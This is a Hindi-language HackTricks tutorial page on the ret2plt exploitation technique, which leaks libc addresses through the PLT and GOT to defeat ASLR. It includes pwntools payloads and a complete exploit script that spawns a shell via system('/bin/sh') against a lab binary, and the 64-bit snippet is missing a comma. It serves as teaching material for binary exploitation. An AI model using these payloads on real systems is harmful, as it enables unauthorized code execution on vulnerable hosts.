Ret2plt

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मौलिक जानकारी

इस तकनीक का उद्देश्य होगा किसी PLT से फ़ंक्शन का पता लीक करना ताकि ASLR को बाईपास किया जा सके। यह इसलिए है क्योंकि यदि आप, उदाहरण के लिए, puts फ़ंक्शन का पता libc से लीक करते हैं, तो फिर आप libc का बेस कहाँ है और अन्य फ़ंक्शनों जैसे system तक पहुँचने के लिए ऑफसेट की गणना कर सकते हैं।

यह pwntools पेलोड के साथ किया जा सकता है जैसे (यहाँ से):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Note करें कि puts (PLT से पते का उपयोग करके) puts का पता GOT में स्थित puts के पते के साथ किया जाता है। यह इसलिए है क्योंकि puts जब puts का GOT एंट्री प्रिंट करता है, तो यह एंट्री मेमोरी में puts का सटीक पता रखेगी

इसके अलावा, ध्यान दें कि एक्सप्लॉइट में main का पता उपयोग किया जाता है, इसलिए जब puts अपना कार्य समाप्त करता है, बाइनरी main को फिर से बुलाता है बजाय बाहर निकलने (ताकि लीक हुआ पता वैध रहे)।

ध्यान दें कि इसे काम करने के लिए बाइनरी को PIE के साथ कंपाइल नहीं किया जा सकता या आपको PIE को बाइपास करने के लिए एक लीक पाना होगा ताकि PLT, GOT और main का पता पता चले। अन्यथा, आपको पहले PIE को बाइपास करना होगा।

आप यहाँ इस बाइपास का पूरा उदाहरण देख सकते हैं। यह उस उदाहरण का अंतिम एक्सप्लॉइट था।

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

अन्य उदाहरण और संदर्भ

  • 64 बिट, ASLR सक्षम है लेकिन PIE नहीं है, पहला कदम है कैनेरी के 0x00 बाइट तक एक ओवरफ्लो भरना और फिर puts को कॉल करके इसे लीक करना। कैनेरी के साथ एक ROP गैजेट बनाया जाता है जो puts को कॉल करने के लिए GOT से puts का पता लगाने और फिर system('/bin/sh') को कॉल करने के लिए है।

  • 64 बिट, ASLR सक्षम, कोई कैनेरी नहीं, मुख्य स्टैक ओवरफ्लो में एक चाइल्ड फ़ंक्शन से। puts को कॉल करने के लिए ROP गैजेट जिससे GOT से puts का पता लगाने और फिर एक वन गैजेट को कॉल करने के लिए है।

Last updated